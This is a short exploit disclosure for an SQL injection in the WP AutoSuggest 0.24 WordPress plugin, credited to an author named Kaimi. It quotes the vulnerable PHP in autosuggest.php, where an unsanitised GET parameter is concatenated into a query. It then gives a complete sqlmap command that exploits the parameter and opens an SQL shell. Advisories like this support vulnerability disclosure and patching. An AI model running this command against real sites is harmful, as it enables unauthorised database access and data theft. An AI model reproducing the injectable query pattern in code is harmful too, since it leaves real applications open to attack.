# Exploit Title: WP AutoSuggest 0.24 - SQL Injection
# Date: 01-12-2018
# Software Link: https://wordpress.org/plugins/wp-autosuggest/
# Exploit Author: Kaimi
# Website: https://kaimi.io
# Version: 0.24
# Category: webapps

SQL Injection
File: autosuggest.php

Vulnerable code:
if (isset($_GET['wpas_keys'])) {
  $wpas_keys = $_GET['wpas_keys'];
}
...
$wpas_keys = str_replace(' ','%',$wpas_keys);
  $pageposts = $wpdb->get_results("SELECT * FROM $wpdb->posts WHERE (post_title LIKE '%$wpas_keys%') AND post_status = 'publish' ORDER BY post_date DESC");


Exploitation example:

sqlmap -u "https://URL/wp-content/plugins/wp-autosuggest/autosuggest.php?wpas_action=query&wpas_keys=1" --technique BT --dbms MYSQL --risk 3 --level 5 -p wpas_keys --tamper space2comment --sql-shell